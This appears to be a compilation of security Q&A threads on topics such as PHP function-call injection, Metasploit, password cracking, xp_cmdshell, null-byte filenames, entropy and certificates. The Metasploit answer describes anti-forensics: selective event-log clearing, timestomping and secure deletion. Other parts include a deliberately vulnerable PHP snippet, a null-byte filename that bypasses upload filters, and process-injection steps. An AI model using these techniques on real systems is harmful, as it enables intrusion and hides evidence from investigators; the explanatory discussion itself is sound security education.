Does anyone have a custom conky config for pentesting or know of a source for ideas?

Edit:

I have tried an if_match against the "remote ip" and "addr(lo)", but it throws errors with IPv6.

You could look for all incoming tcp packets with the syn flag using tcpdump:

tcpdump "tcp[tcpflags] & tcp-syn != 0"

But is going to be very noisy. Great Penetration testers are also great programmers, and they often have to write or modify their own tools.


How much can an attacker do/obtain in PHP with the execution of one function? I am collecting ideas to illustrate a case I've seen once where an attacker basically could get to a situation simplified as follows (not kidding):

<?php
    $fcall = $_GET['fcall'];
    $fcall();
?>

phpinfo() is the first to start with.

Using build-in PHP Functions

With just these two lines, I think that it's unlikely that you can do much more than phpinfo, because it doesn't seem possible to pass arguments to the function, which severely reduces your options.

There seems to be some confusion in the comments and other answer, so to make it clear: $_GET values are treated as strings, not as PHP code. This means that none of the provided options  -  anonymous functions, executing arbitrary code, using "echo hello"->system, using exec('rm -r /') - will work.

You can't even leak other information besides phpinfo - eg get_current_user - , as the result of the call is not echoed.

There may be some obscure corner cases that may be considered vulnerabilities. For example, with certain settings SSRF/DOS via ingres_connect may be possible (although far fetched).

Using the surrounding code

Apart from the phpinfo leak, that would mean that you need to exploit the surrounding code. Some possibilities might be:

DOS via a very expensive function call
Authentication bypass
Filter bypass
...

Basically, the code gives you control over the control-flow of the application, and that's what you need to exploit.

This is also not limited to just included functions. Since version 5.4.0, you can also call methods of any included class:

fcall[]=MyClass&fcall[]=myFunction

But again, you cannot create new objects via this code:

$_GET['fcall'] = array(new MyClass, "myFunction");
$fcall = $_GET['fcall'];
$fcall();

The problem is the same as before: $_GET is treated as string, making it non-working as soon as the value is actually passed to the server instead of hardcoded.


Do actual penetration testers actually use tools like metasploit? I've played around with metasploit simply as a hobby but am wondering if actual pentesters and/or hackers actually use metasploit to get into systems or do they write their own post exploitation modules or their own programs entirely?

Reason I ask is because metasploit does not seem to be able to selectively clear windows event logs and such, or perhaps I just couldn't find it.(the nearest I can find is clearev but that simply wipes out everything which isn't very sneaky) Besides, even if it is able to selectively clear the event logs there will be places like the prefetch queue in ring 0 where forensics will be able to find what I did from the system image...

As far as forensics is concerned, Metasploit have payloads which are specifically designed to make the work of forensic analysis more difficult. For example, the most famous payload which is selected by default with a lot of exploit modules is the meterpreter payload. It completely runs in-memory and don't touch the disk for any operations (unless specifically asked by the user). Which means there will be no evidence in the prefetch folder or any other place on the disk.

You don't have to clear all the event logs. You can selective clear any event log you want through the meterpreter script event_manager.

Meterpreter has a tool called timestomp which can change the modification, access, creation, and execution time of any file on the hard disk to any arbitrary value. You can securely wipe out any file with the sdel (safe delete) module which not only securely wipe the file contents but rename the file to a long random string before the deletion which makes the forensic recovery of not only the contents but the file meta data very difficult as well.

Now comes to your second part of the use of Metasploit by actual malicious attackers in real world attacks. There have been reports that Metasploit was used in one of the attacks on the Iranian nuclear facility. The reason you don't see Metasploit more often is due the open source nature of the product. Since the exploits and payloads are available to everyone, by default every security product such as antivirus, IDS/IPS etc consider these files as malicious. The defense industry has gone to an extent that even if one create a completely benign file with Metasploit, it will be detected by almost all the AV solutions. Generate an empty payload like:

echo -n | msfencode -e generic/none -t exe > myn.exe

Upload it to VirusTotal and you will see that more than half of the AV solutions detect it as malicious. More details can be found on the Matt Weeks' blog here.

With this behavior no attacker will risk using Metasploit for actual attacks due to the very high detection rate. The modules can be easily customized and bypassing AV and other security controls through Metasploit is quite easy as well. However, at that point it is difficult to determine if the payload is written from the scratch or the Metasploit module has been modified. Therefore, it is difficult to say for sure how many attackers have used or continue to use Metasploit in their operations.


Estimating Password Cracking Speed Based on GPU? I was wondering if there was a calculator or formula I could use to find a rough estimation of the time it takes to crack hashes based on GPU. I am trying to assess how much performance I would lose/gain based on different build cases. Specifically, x3-4 RTX 2080's vs. x3-4 RTX 2060's.

I've found a few threads or websites about it but they seem more concerned with the actual algorithm and password length/complexity than anything to do with GPU performance (clock speed). Or they say just to run it in hashcat and find out but obviously that's impractical if I'm trying to assess which build case to go with for business justification purposes.

I'll be using Hashcat and really don't care about any variables other than the clock speed, so ideally we could make password length, complexity, space, hash type, attack type, etc. constants just so I can have a speed differential to compare GPU models/amounts.

As was mentioned, getting exact number of hashes per second is impossible, but some benchmarks should give you an idea of scaling if the coolling and other variables are equal or adequate.

Now I would avoid mentioning precise numbers and keep in mind that while comparing NVIDIA RTX 2060 and 2080 sgould give you a decent idea, comparing NVIDIA and AMD or RTX vs Titan or even across generations can be widely off if you use different hash algorithm than the benchmark.

https://tutorials.technology/blog/08-Hashcat-GPU-benchmarking-table-Nvidia-and-amd.html


What is the main function of xp_cmdshell in SQL Server and what are its related security issues? I was researching on Injection issues in MS SQL Server. I came to read about xp_cmdshell. I think this must be enabled in the SQL server for attackers to perform many exploits. Actually what is this function doing and why attackers always keep an eye on this?

It allows to run commands from the SQL shell provided by MS SQL Server. Meaning you can pass commands to be executed by the operating system. Attackers use these to gain complete access to the underlying operating system, rather than just the database and its data.


Is it safer to run executable file (not safe, may contain virus) on VBox I have a host system (Windows 10) with premium antivirus and running a Windows 7 in Virtualbox with no antivirus. I have installed sandboxie and try to run executable files that may contain virus. Is it safe to run those applications? and what will be the effect if the virus slips out. I know this is a dumb question even after knowing about sanboxie. But I would like to know the consequences that occur.

Also, I would like to know how it affects the host machine if I run that exe file without sandboxie on Virtualbox.

Since there are many viruses and trojans that silently triggers even without running the exe file. Just want to learn the consequences that virus can damage. (P.S that I still having the antivirus on on the host machine).

The anti-virus program will only quarantine files that are on the host machine, as the anti-virus program has no access to the virtual-drive, hence the name virtual drive.

However, since in order for virtual box to let its virtual machines access the internet it must pass web requests into the host machine.  To windows it will look like as if Virutal box is asking to connect to that specific Public Ip address.  This is the only thing that is within the scope of ESET.  If the web address or the Public Ip being requested is on the Public Blacklist, then it will block it.  Anything happening in the VM is contained in the VM as long as CPU microcode security patches are installed.

Windows 7 also comes with Windows Firewall/Antivirus by default.


Does using Bcrypt to encrypt credit card numbers satisfy PCI compliance? I understand that using MD5 is not safe and is not PCI compliant.

Does using BCrypt satisfy PCI compliance

I understand that using MD5 is not safe and is not PCI compliant.

Sadly enough, it rather can be in some cases: https://security.stackexchange.com/a/41868/836

Does using BCrypt satisfy PCI compliance

The substantive problem is that the credit card number space is so short that brute forcing is basically always reasonable. I think that the question pattern you should be asking is:

"Am I allowed to store this data?"
"What is the most secure solution to what I'm trying to do?"
"Is the solution I came up with compliant?"

Thus, what we should be talking about is why you need to store this data and how you'll access it, confirming that PCI says you can store it, then figuring out the appropriate response.
... here's the direct answer:

3.4 Render PAN unreadable anywhere it is stored (including on portable digital media, backup media, and in logs) by using any of the following approaches:

One-way hashes based on strong cryptography (hash must be of the entire PAN)

... which BCrypt would satisfy. Further reading: https://www.pcisecuritystandards.org/documents/pci_dss_v2.pdf


What does it mean to have a "file name with NULL bytes in serialized instances"? I was browsing this page, which redirected me to this vulnerability because I'm a Java developer and I'm aware of the affected library.

Basically the vulnerability says:

  It was discovered that Apache Commons FileUpload incorrectly handled
  file names with NULL bytes in serialized instances. An attacker could
  use this issue to possibly write to arbitrary files.

I just wan't to know what does this statement mean ?

  ...file names with NULL bytes in serialized instances.

A null byte is a byte with the value zero, i.e. 0x00 in hex.
There have been security vulnerabilities related to null bytes. These occur because C uses null bytes as a string terminator. Other languages (Java, PHP, etc.) don't have a string terminator; they store the length of every string separately.
Now, consider a Java web application that accepts file uploads. Perhaps we want to let users upload .jpg files, but nothing else. In fact, if a user can upload a .jsp file, this will be a serious security vulnerability.
What a hacker might try is to upload hack.jsp<NUL>.jpg. Let's think about how this will be processed. First, Java will look at the file name, see it ends in .jpg and allow the upload. It then calls the operating system library, which is written in C. C sees the <NUL> character as the string terminator, so it saves the file as hack.jsp.
Many languages fix this by explicitly disallowing <NUL> bytes in file names. I know Python and PHP do this. However, if your language does not do this for you, you must do it yourself. More information - OWASP: Null-Byte Injection
I don't know how exactly "serialised instances" is related to this, but I think this gives you some idea what's going on.


What is cloudfront.net AdWare? Here is some information I research about cloudfront.net AdWare:

I've seen several topics talk abou this malware: Cloudfront.net Malware

According to this article: How to remove CloudFront.net adware (Virus Help Guide)

  Cloudfront.net is a legitimate and safe content delivery network owned by Amazon, however cyber criminals are abusing this CDN to deliver malicious content.

And

  This CloudFront.net redirect is usually caused by adware installed on
  your computer. These adware programs are bundled with other free
  software that you download off of the Internet. Unfortunately, some
  free downloads do not adequately disclose that other software will
  also be installed and you may find that you have installed adware
  without your knowledge.

So here is what exactly happen:

I just click a link on the internet and my Kaspersky pop up notification, said it's not-a-virus:HEUR:AdWare.Script.Generic (so the adware come from the link, not because I install any adware programs which are bundled with other free software)

So I just click the link (not install any exe file), here is the links Kaspersky claims to be adware, don't go to these link below

http://d1dqwj4dc78lwy.cloudfront.net/?jwqdd=634223
http://d10lumateci472.cloudfront.net/TbnJtZU9RBgQBclhBWVd9XQ%3D%3D

Is there any chance my PC has been infected? I mean if the Windows' administrator permission right doesn't pop up, then the cyber criminal can't harm me right? Is it just a false positive from Kaspersky?

So what exactly cloudfront.net adware and how can it infected me? Does it mean every cloudfront.net is detected as adware?

I mean if the Windows' administrator permission right doesn't pop up, then the cyber criminal can't harm me right?

There are no administrator permissions needed to install extensions into your browser, change the start page or generally run and programs as your user which then also can read, modify or delete any kind of data owned by the user. For example ransomware does not need administrator permissions to encrypt the data of the non-privileged user.

  Is there any chance my PC has been infected?

This is not clear from the information you provide. It might be that you've tried to visit a site which incorporates lots like ads in a way similar to how adware does it. It might also be that these scripts serving ads were injected by some adware locally on your system. If the problem happened only with this specific site it is more likely that it is a problem or feature of the site you visited, if it happens with lots of other sites it is probably a problem local to your system.

  So what exactly cloudfront.net adware

Adware, as the name says. That is it might place ads into pages you visit, replace existing ads, maybe clicks on ads in the background so that it looks like that a user is interacting was the ads (i.e. ad fraud).

  ... and how can it infected me?

You've already cited the typical infection vector:

  These adware programs are bundled with other free software that you download off of the Internet.


Does public key encryption/decryption speed actually matter? There have been wars fought over RSA, DSA, and I'm sure other public key encryption algorithms, and usually the arguments are "Algorithm A is faster to encode, but algorithm B is faster to decode".

However, from what I understand, the slow asymmetric encryption is only used to encrypt a single hash, after which point symmetric encryption is used. See Public Key, Private Key, Secret Key: Everyday Encryption

This leads me to wonder, in practice, does it actually matter which encryption algorithm is slower or faster than the other when they do the slow asymmetric encryption once and in a fraction of a second, and then proceed with fast symmetric encryption algorithms for the rest of the session?

Yes, it matters when:

1) there is a constrained hardware and there are constrains on the time that it takes to run the whole operation (protocol) that includes authentication/encryption (e.g., waving a smartcard at a tourniquet when paying for entering a metro). The operation might include several encryption and decryption operations that take place in the smartcard, e.g., one decryption to authenticate the smartcard to the tourniquet, several encryptions to authenticate the tourniquet (e.g., there might be a chain of certificates that should be verified).

Another example is a passport with a chip that is controlled at state borders.

Conclusion: one crypto operation might be fine, but when several crypto operations are required, the resulting protocol at constrained hardware might have usability issues.

2) a number of operations is large (it has been already mentioned in the comments). E.g., a number of SSL sessions.


Is my OpenPGP key rubbish because of bad entropy? I had problems generating an OpenPGP key on my XUbuntu machine, because GnuPG did not get enough entropy. After some time of browsing and doing stupid stuff to generate more entropy, still nothing happened.

So I followed an instruction and used rng tools:

sudo apt-get install rng-tools
sudo rngd -r /dev/urandom b

And voila, suddenly everything worked without any effort within a second. But how can that be? Did it just trick me and provided me pseudo random numbers?

rngd

rngd's man page describes pretty well what the daemon is doing:

  This daemon feeds data from a random number generator to the kernel's random number entropy pool, after first checking the data to ensure that it is properly random.

  [...]

  The -r or --rng-device options can be used to select an alternate source of input, besides the default /dev/hwrandom.

To be specific, the command you ran extracted random numbers from /dev/urandom and passed it back into the Linux kernel's entropy pool while registering it as "real and fresh entropy", thus also making it available in /dev/random (this explanation is slightly simplified, and technically the process is a little bit more involved, but this is the idea behind the rngd call you posted).

Such tools are commonly used in virtual machines or embedded devices not receiving enough entropy to fill the entropy pool, as it does not have access to all entropy sources a "real hardware" computer would have (hard disk timing, ...).

Random numbers in Linux

  And voila, suddenly everything worked without any effort within a second. But how can that be? Did it just trick me and provided me pseudo random numbers?

Yes, it did exactly this. Linux knows two random devices: /dev/random blocking when some rather arbitrary entropy counter decides not enough entropy is available, and /dev/urandom always returning new pseudo-random numbers. Now "pseudo-random number generator" sounds worse than it is, in fact random numbers from a (cryptographically robust, without bugs or backdoors) random number generator is not distinguishable from "real" random numbers. "The plain simple reality of entropy -- Or how I learned to stop worrying and love urandom" presented at 32C3 gives a great introduction in random number generators and why they are totally fine.

After all, also /dev/random is a random number generator with some rather arbitrary decision on whether the pool received enough random bits, and the even more arbitrary decision to decide it did not receive enough random bits recently.

Mixing in new entropy is not a bad idea anyway, just in case the mathematical foundations or software implementation have some issues -- new random bits (not coming from the entropy pool) will make breaking the random number pool much harder.

Wrapup: Are the generated keys secure?

As always, the answer is: it depends. Given you already established a proper random state of the entropy pool by having the machine run for some time (ie., did not recently setup the system, but already used it for a longer time, with a few hours or days being more than safe for typical setups), the entropy pool was initialized properly and you have proper random numbers from now on, no matter if you feed back random numbers just to increase the Kernel's entropy counter.

All in all, the "not enough entropy" issues of GnuPG running on Linux is based on two debatable decisions: the Linux kernel providing /dev/random with it's arbitrary "I don't have enough random bits semantics", and GnuPG relying on this instead of /dev/urandom. Sadly, there is no way to choose another entropy source in GnuPG.


Question about removal-notice if sued or compromised What do you call the old notices that say:

  If this notice is removed the site is to be assumed compromised or litigation to compromise the site has been filed.

I used to see these a lot as a social tactic to notify others, but haven't seen them in awhile.


xmlns.jcp.org domain SSL cert weirdly invalid? I was looking for some information about Java EE Schemas and found page https://www.oracle.com/webfolder/technetwork/jsc/xml/ns/javaee/index.html. From there I clicked at http://xmlns.jcp.org/xml/ns/javaee/ URL which gives me insecure page warning. Advanced info in FF shows this:

xmlns.jcp.org uses an invalid security certificate.

The certificate is only valid for the following names:
www-legacy.oracle.com, www.textura-aus.com, blogs.java.net, support.palerra.com, resources.maxymiser.com, www.peoplesoft.com, wmscalculator.com, analytics.micros-retail.com, weblogiccommunity.com, bigmachines.com, www.vocado.net, www.markie-awards.com, blog.apiary.io, zenedge.com, opower.com, today.java.net, www.maxymiser.com, www.logfire.com, www.zenedge.com, www.maxymiser.de, fideliocruise.com, www2.gradebeam.com, datalogix.com, support.ravellosystems.com, www.topliners.com, members.micros.com, community.java.net, logfire.com, www.modern-marketing.com, www.bigmachines.com, shop.sun.com, oraclecloud.com, www.bluekai.com, www.solaris.com, customercare.etadirect.com, weblogs.java.net, palerra.com, lightyear.sun.com, fcruise.com, blog.wercker.com, maxymiser.com, fiveuniversaltruths.com, www2.submittalexchange.com, www2.opower.com, www.wercker.com, www.cloudmonkeymobile.com, solaris.com, developer.cloud.oracle.com, www.crosswise.com, www.peoplesoftcustomer.com, www.fcruise.com, blog.opower.com, expresshelp.bigmachines.com, www.textura-europe.com, update.peoplesoft.com, www.datalogix.com, www.markieawards.com, latista.com, texturacorp.com, home.java.net, topliners.com, markieawards.com, info.palerra.com, sparklinedata.com, vocado.net, kb.bluekai.com, maxymiser.fr, modernsupplychainexperience.com, textura-australasia.com, slack.wercker.com, ticket.opower.com, wercker.com, www.oraclecloud.com, forums.java.sun.com, webapps.micros.com, community.acmepacket.com, www.palerra.com, www.wmscalculator.com, www.micros-supply-chain.com, cn.forums.oracle.com, kr.forums.oracle.com, go.logfire.com, gojava.com, www.latista.com, secure.tekelec.com, forums.java.net, beepotential.com, maxymiser.de, support.bigmachines.com, www.texturacorp.com, support.opower.com, go.java.com, www.eloqua.com, powerup.opower.com, www.vocado.com, www.modernsupplychainexperience.com, oas.micros.com, www.textura-australasia.com, www.fideliocruise.com, vocado.com, modern-marketing.com, textura-europe.com, cloudmonkeymobile.com, crosswise.com, www.weblogiccommunity.com, developer.cloud-stage.oracle.com, www.maxymiser.fr, eloqua.com, www.responsys.com, java.sun.com, java-champions.java.net, devcenter.wercker.com, support.toatech.com, www.opower.com, www.sparklinedata.com, markie-awards.com

Error code: SSL_ERROR_BAD_CERT_DOMAIN

Are we looking at some attack or is this just Oracle being sloppy with their sites, redirects and certificates?

I see the same error if I connect to https://xmlns.jcp.org/, so if it is an attack, it's not targeted at you or your local network.

Interestingly, https://jcp.org/ is serving a different certificate and I don't get any errors on that one. That one has only the following SubjectAlternativeNames:

DNS Name=jcp.org
DNS Name=www.jcp.org
DNS Name=www2.jcp.org

I spot-checked a number of the domains in the list you provide, and they all either redirect to an oracle.com URL, or include the Oracle logo somewhere on the page, so my guess that they use that mega cert for websites of random small companies that Oracle has acquired. I'm guessing they used this cert on https://xmlns.jcp.org but forgot to check that it's actually covered by that cert.

My conclusion: Oracle being sloppy with their sites, redirects and certificates.


What allows meterpreter to migrate processes and how to defend against it? I mainly use Linux so I'm not well-versed on how Windows and its privileges work. I've recently learned to use Metasploit and meterpreter on Windows boxes.
Previous research
This answer has given an overview of how meterpreter migrates on Windows.
This article has addressed process migration on Linux
My questions

What allows process migration to work?
What are the main differences between Windows and Linux in process migration?
Is this migration a feature or a vulnerability?
How can I defend it?
Should I try to prevent process migration?

What allows process migration to work?

Process migration happens because of process injection,a technique where a process can run its code in the virtual address space of another process
Specifically in meterpreter payload its

Open current process token to set SE_DEBUG PRIVILAGE
Virtualallocexe to allocate memory in target process
Writeprocessmemory to write the payload in target process virtual
memory space
Call the routine of the thread via Create remote thread

source

What are the main differences between Windows and Linux in process
migration?

For starters Linux doesn't use DLL,although there are more process injection that doesn't use Dll in windows(PE Injection),in linux you would uses LD_PRELOAD or ptrace

Is this migration a feature or a vulnerability?

Feature,since there are many use cases of process injection like debugging,game hacking,using themes,changing functionality of programs and anti virus stuff.

How can I defend it?

Most likely you would want to hook functions that might be used and then perform checks if you want to allow it to happen(Might break stuff), further read

Should I try to prevent process migration?

It mostly used in malwares to hide,even without using it,you can do just as much damage.So....no


Can I trust that the Java CVE's contain only the affected versions? When looking at the Oracle Java JRE vulnerability list on cvedetails, they list the affected versions in the text, and usually also in a table below the description.
However, I'm not confident that the vulnerability is only confined to the listed versions.
The following is stated for CVE-2019-2816 (https://www.cvedetails.com/cve/CVE-2019-2816/):

  Vulnerability in the Java SE, Java SE Embedded component of Oracle
  Java SE (subcomponent: Networking). Supported versions that are
  affected are Java SE: 7u221, 8u212, 11.0.3 and 12.0.1; Java SE
  Embedded: 8u211.

Underneath is a table listing the affected versions, including JRE version 1.8 (Java 8) update 211 and 212. But also Java 7 update 221.
So my guess would be that it's included in previous Java 8 updates as well. We're currently using Java 8 update 162. On the other hand, it could've been in a fix that was included in Java 8 and Java 7, in later versions.

While the table with all the affected versions is very detailed for some libraries on that website, I know that they're not always filled properly. A counter example is a vulnerability saying "anything up to this version is affected", but only listing the previous version as the sole content of the table with affected versions.

Is there a better site, which I just haven't discovered, that is more clear about this? Or can I trust, that the latest Java vulnerabilities won't affect us, due to using the older version?
My current guess would that only the latest versions have been tested by the security researchers.

In the quote you added:

  Vulnerability in the Java SE, Java SE Embedded component of Oracle Java SE (subcomponent: Networking). Supported versions that are affected are Java SE: 7u221, 8u212, 11.0.3 and 12.0.1; Java SE Embedded: 8u211.

Added emphasis is mine. You can be pretty safe in assuming that previous updates in there are affected by the vulnerability in some form. If a version of Java is not supported, then Oracle is not going to dedicate resources to test exploits on them.


Website Implementing https site w/ self signed certs and CA Q: How best to handle the issue of security warnings for a website using certificates from its own CA (ie, selfsigned)?

I am some what torn on how to do this - I have a number of implementaiton thoughts.

On the one hand, I can redirect any incoming http request to an https landing page that explains the need for a one time exception or to install a "trusted" root cert and provide a button to continue to the requested page as https.

However, that seems a bit hokey. My other thought was just to have a security icon of some type on all the web pages, clicking on that would give more or less the same info and suggest the user in the future use https for connection.

There is no e-commerce involved so https is not critical in that sense. Though I personally would prefer to only offer secure connections, I now think it might be better to leave it up to the end user to decide.  Either way, I felt it better to explain the dire unsafe certificate warning before any redirections.

Would like your thoughts on this, I'm sure some have gone through this already.

If this is a publicly accessible website, then use a certificate signed by a recognised CA. Downloading a random certificate distributed from the HTTP or the self signed HTTPS site is highly insecure. You are not only compromising the security of your website but also potentially the security of unsuspecting users who installed your root certificate.

Self-signed certificates are only useful in closed system where you have a secure secondary channel to distribute your certificate, where your users can validate with certainty that the certificate that they are about to install actually being to your site. The root certificate itself is a public key and is not considered a secret for HTTPS security, but if you distribute your root certificate through insecure channel, your users have no way to know for sure that the downloadable certificate in your unencrypted site actually belongs to the same site as the encrypted site or if their or your HTTP/self signed HTTPS connection might have already been MITM-ed, and the attacker has replaced your root certificate with the attacker's own root certificate. If the attacker managed to convince your user to install this spoofed root certificate, thinking it was from you, they can now MITM the HTTPS connection that your user thought is a secure connection to your site, without any browser warnings.

In short, use a recognised CA. Or distribute your certificate in such a way that your users can validate that it really is yours.

If you need HTTPS, there is really no reason not to get a certificate from a recognized CA. Some CAs, e.g. StartSSL, now provides basic validation certificates for free for personal sites (unless you are handling potentially illegal materials, which is another matter altogether).


Should web applications that are only accessible from a LAN be held to the same security standards as publicly accessible websites? Many security measures are intended to protect against hostile users who want to abuse the software or get access to content they don't have permission to access. Things like CSRF protection, SQLi protection, TLS and many other security features mainly protect against malicious users. But what if all the users can be trusted?

Suppose you have a fully internal web application that will only ever run on the intranet of the company and will never be accessible from the outside. assume that all the internal users can be trusted, there are no outside users and the data inside the application is of not much use to attackers. This means the threat model is very limited and there is not much sensitive data.

Considering these details, it seems like some of the measures, like TLS and XSS protection, wouldn't be as important. After all, there is very little risk of attackers intercepting traffic, and the users can be trusted to not enter XSS payloads. In this case, would it still make sense to implement security measures against traffic interception or malicious users?

Yes. Absolutely, yes.

Your assumptions about your internal network have issues:

you assume no attacker would ever gain control of any device in your network, which is a bad assumption to make (see http://www.verizonenterprise.com/verizon-insights-lab/dbir/, https://www.fireeye.com/current-threats/annual-threat-report/mtrends.html). Attackers will go quite some length to gain a foothold in a network, and there is a commercial marketplace for buying compromised hosts within specific companies.
you assume only users have access, but what about third parties, such as managed service providers, contractors, temporary employees? Also, what happens if someone breaks into wifi? Or gains access to a wired port (e.g. a pwnplug)

More generally, there is also the matter of why have two sets of practice/standards, when surely it is more efficient to have a single standard that applies everywhere?

You might find it useful to read Google's paper on BeyondCorp, https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/44860.pdf.

The tl;dr being that in their conception of the network, you make assertions about users and devices, but not about the network - mostly because it is simpler to assume all networks are hostile, than it is to assume some are, and some are not (in part, the cost of misclassifying a network as safe could be very, very high).

One possible reason for such an approach is that the Snowden leaks revealed that previous assumptions about the safety of their network were incorrect - the NSA tapped into fiber in order to tap into (at the time unencrypted) inter-DC data flows.

I think the basic answer to your question is that the boundary/demarcation point for security is no longer at the edge of your network, it is the devices on your network. And as such, it is both simpler, and more realistic, to focus on preventing categories of attacks/abuse, rather than to consider that one network is 'better' than another. You may not need quite such strong controls on an internal DMZ as you would on an external one, but assuming that your network is secure is a dangerous assumption to make.


How safe are USB internet keys compared to using a router/hub with a built-in firewall? Is it safe to use a USB 4G/LTE Mobile Internet Key, vs. a 4G/LTE Hub? How does it compare using an USB internet key to being behind a router/hub that has a firewall?

I want to be shielded from the internet, and I am not too sure the USB internet key does that. Computers on the internet are constantly scanned for security holes and eventually some are infected.

To be more specific I was looking at these brands: NETGEAR AirCard 340U 4G LTE Mobile Internet Key vs Huawei B890 4G LTE Smart Hub. I assume the hub has a built-in firewall.

Thanks

How does it compare using an USB internet key to being behind a router/hub that has a firewall?

With router/hub you probably mean the devices you use to get internet access through DSL or cable. The "firewalls" in these devices are nothing more than simple packet filters which don't offer (much) more than you can find in the built in firewall of todays windows systems. And by being only simple packet filters they don't offer any protection against today's most common threats, i.e. websites delivering malware and malware delivered within mails.

Thus the security of these router/hub and USB internet keys are similar in that they don't offer any relevant protection at all.

Note that few of the routers you can buy actually offer more protection by using external services and might block access to URL's based on externally provided blacklists etc. But these are usually added services which you have to pay for regularly, similar to a antivirus installed on the local machine.


WLAN Router authentification Possible Duplicate:
  How can I ensure that I connect to the right wireless Access Point?

Is it true, that WLAN routers aren't authenticated by clients? The only "authentication" is SSID and field strength?

The SSID is more about identification of the network, not authentication.

Wireless authentication is done usually in either of these 3 ways:

Open System authentication: no authentication done
Shared Key authentication: Done with cryptographic handshakes between client and AP based on some shared secret - of course trust is on the assumption that the key is shared only between these two parties. In WPA/WPA2 there is mutual authentication, in WEP only client authentication is done.
EAP authentication: Using a radius server, different ways it can be done, can be based on certificates etc, no need for one shared secret for everyone. Mutual authentication is usually done.


What frameworks are available to analyze a security breach? I come from an engineering background where we use tools like 5-times-why or 8D for Root Cause Analysis.

Are there similar frameworks to perform an analysis on a reported a security incident?

5 Whys works great on security incidents.

There are also more formal frameworks like STIX (https://oasis-open.github.io/cti-documentation/stix/intro) and various "kill chain" models (see https://Unifiedkillchain.com).

Both STIX and kill chain prompt with specific questions such as who did what and how, or more specifically, they give you ways to record that information, prompting you to ask.

The key difference is STIX/kill chain will give you what happened, but not the how it was allowed to happen, which you get from 5 whys.


How can I verify my machine is not vulnerable from a specific exploit? I'm running Ubuntu 8.04 TLS linux 2.6.24-23, I find that CVE-2009-2692 which exploits by using sock_sendpage() null pointer dereference. It describes this exploit affects linux version prior to 2.6.31 and I find patched version of Ubuntu 8.04 is linux 2.6.24-24. I attempted to run this exploit on my machine, but I couldn't make it work due to mmap permission denied. Does that mean kernel 2.6.24-23 is not vulnerable from this exploit?

No - it does not mean you are not vulnerable.

The patches you have installed may have fixed the particular vulnerability, but failure of a test does not automatically mean you are safe - it could just be the case that your test version is misconfigured, failed due to a local configuration or bug, or has had some other problem.

The usual way to gain assurance is to look at the CVE description and patching recommendations and cross reference with your own patching/versions.

If in doubt, use a professional penetration tester.


Detect duplicates without exposing underlying data We have a scenario where we need to prevent two users from using the same identifier. The identifier is sensitive (e.g. a social security number), so we do not want to store it in our DB. We just want to store some sort of hash that allows us to prevent subsequent users from using it again. And we want to do it securely, so that in the event that the database ever leaked, an attacker could not figure out the original values.

Is it possible to do securely? What is the recommended way?

Based on some research, it seems like a HMAC might work. If that's the case, what's the recommended algorithm? Should it be something slow (like scrypt with a fixed key salt), so that if the key is ever exposed, it's still difficult to uncover the values? Or is there no protection against that?

I think you're not too far from a possible solution (aka using a modern KDF and effectively treating this like a password).  However, there are some more considerations (which were already mentioned in comments):

SSNs have very low entropy, which means that brute-force is an especially easy attack
Since you need to find if the SSN has been used anywhere, you basically have to operate without a salt, which also makes brute-forcing substantially easier.

The combination of 1 & 2 would make a KDF a bad idea, even though it is your only option.  As a result, finding a different business solution may be in order.  However, I think there are a few steps you can take to mitigate the risk if SSN matching is an absolute requirement:

Make sure and use a large "pepper".  Peppers are less commonly used with passwords, so in case you aren't familiar: using a pepper basically means adding a large, constant, random string to the SSN before hashing which is not stored in the database.  In this case I would use an especially long pepper.  So in practice, this means that you create a 256 bit key that is not stored in the database or codebase but which is added to the SSN before hashing it.  You would store it in an environment variable in your production server, or in your CD pipeline, so it is not readily accessible to developers (since they are sometimes the attacker, unfortunately).  The reason for this is that if your database leaks but the attacker doesn't have the pepper, then they cannot bruteforce the SSNs (because bruteforcing the SSN would basically require first bruteforcing your 256 bit key, which is impossible).
Use a very large cost function.  All modern KDFs have a configurable cost function, that increases the time it takes to buid the hash (therefore making brute force harder).  For something like this I'd set an even-higher-than-usual cost function.  I'd probably tune it so that your systems take 1-2 seconds to hash the SSN+pepper.  Go even higher if your users can tolerate the wait!  This won't fix your bruteforce issue, but it will help.
Anonymize these hashed SSNs!  Basically, store them in a table by themselves with no way to associate them with any other data in the system (i.e. don't assign an autoincrementing id to this table or an entry time, since those might correlate with other tables).  Have one table with just one column that is for this purpose and this purpose only.  While the SSN alone is still personal information, it is much less dangerous to your users if it is leaked by itself without any further information.  Having a table with just the hashed SSNs will still allow you to verify if an SSN has been entered before, so your overall goal can still be accomplished.

So again, your best bet might simply be to find a completely different way to do this without using SSNs.  However, if this is an absolute business requirement, then the above steps can go a long way to securing your customer's personal data.  Still, I would also check with regulatory requirements for your industry to make sure that you abide by all applicable rules.


iframe basic auth or token security We have two sites, both are trusted.

On site1 we store the username and password for the user for site2.

We make api calls on site1's backend to site2 via basic auth (all over HTTPS).

Despite the insecurity of storing unencrypted passwords, assuming there is no data breach, this communication is secure on the backend. But what about the front end? I've seen people send the stored username and password to the front end, but this seems like an easy way for someone to grab your password.

It seems like it would be better to generate an auth token on the backend and pass it to the front end but I'm still a bit worried about possible security issues there.

I'm ok with implementing an oauth server if necessary on site2, but so far basic auth has been simpler and I'd like to stick with it if possible.

What you are proposing is very dangerous and against security best practices. One problem with it is that users tend to reuse the same passwords across different services. This means that one leaked password can lead to many of their accounts being left vulnerable. (Eg: recent Mark Zuckerberg hack). This combines with the fact that database contents sometimes leak due to flaws such as SQL injection.

To help protect these password reusers, websites must try very hard to protect the values of passwords as a breach makes many sites vulnerable.

This means only storing passwords in a secure, non-reversible format. You can read about the science at How to securely hash passwords?, but you're probably good if you use bcrypt with its default parameters.

If you were integrating with a 3rd-party site that only supported username/password authentication and that site was unwilling to provide a secure authentication mechanism, perhaps it would make sense to store passwords for the remote site (they should be securely encrypted when not in use). But you own the remote site, so just do the right thing and support a better login model than passwords.

Some possible strategies are:

OAuth (perhaps via OpenID), SAML 2 or other existing system that  support single sign-on.
Using SSL mutual authentication, site2 could generate client certificates upon registration and pass them to site1. Then a database breach of site1 only exposes certificates and not user's passwords (remember that they use the same passwords for other sites).
Impersonation (perhaps someone can add a better reference in the comments?) works if there's a strong trust model between site1 and site2. Basically, if the sites have the same authors and deployers, you could allow site1 to tell site2 to simply pretend that it's being called by JoeUser without any credentials. Site1 would need to securely authenticate to site2 to make sure that malicious users can't use this feature.
Have the user type their site2 password into site1 whenever site1 needs it.

